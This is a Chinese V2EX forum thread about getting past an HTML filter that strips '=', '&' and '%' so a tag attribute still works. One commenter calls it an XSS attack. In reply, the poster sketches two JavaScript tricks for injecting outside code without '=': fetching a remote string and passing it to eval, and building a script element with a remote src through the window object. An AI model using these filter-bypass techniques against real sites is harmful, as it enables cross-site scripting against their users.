老哥们, html 标签过滤了=号&和%有没有可以直接写标签属性的方法?

2022-02-15 12:11:50 +08:00
 cyrbuzz

例:<a href="xyz"></a>会过滤为<a href"xyz"></a>

不用 js 的情况下还有办法能让 href 正常生效吗?

2320 次点击
所在节点    程序员
27 条回复
cyrbuzz
2022-02-16 10:12:42 +08:00
@learningman

哈哈哈,可惜不是刷题木有答案,就是想找这个可以转换成=的字符,知识到了边界找不到了= =。
jin5354
2022-02-16 12:45:01 +08:00
@cyrbuzz 网站不是你的,你还想让 XSS 对所有人生效,你这不是攻击是啥
cyrbuzz
2022-02-16 14:17:16 +08:00
@jin5354

这还是有点不一样吧,并没有过滤<>/,script ,要是想攻击我直接插一个外部 JS 就完事了,我还用得着绕个大圈讲武德的硬写 HTML?
lhstock
2022-02-16 14:49:15 +08:00
考虑下传输虚拟 DOM 对象( JSON )。然后前端转义为 xml
wednesdayco
2022-02-16 15:15:14 +08:00
@cyrbuzz 没有=号你也插入不了外部 js 啊
cyrbuzz
2022-02-16 15:55:41 +08:00
@wednesdayco

可以的,我想到的有两种:

1. fetch 一个外部字符串,然后 eval ,fetch('').then(function (val) { eval(val) }),字符串的内容就是正经插入就可以。

2. 设置了请求策略的话可以借用 window 对象,`Object.assign(window, { xss: [] })`,这样就得到了一个可以存放任意变量的`window.xss`对象,然后`window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', 'http://www.baidu.com'); document.body.appendChild(window.xss[0])`,就插入外部 js 了。
cyrbuzz
2022-02-16 15:57:54 +08:00
@lhstock

解析不受控,老哥能否具体说说怎么做?

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/833958

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX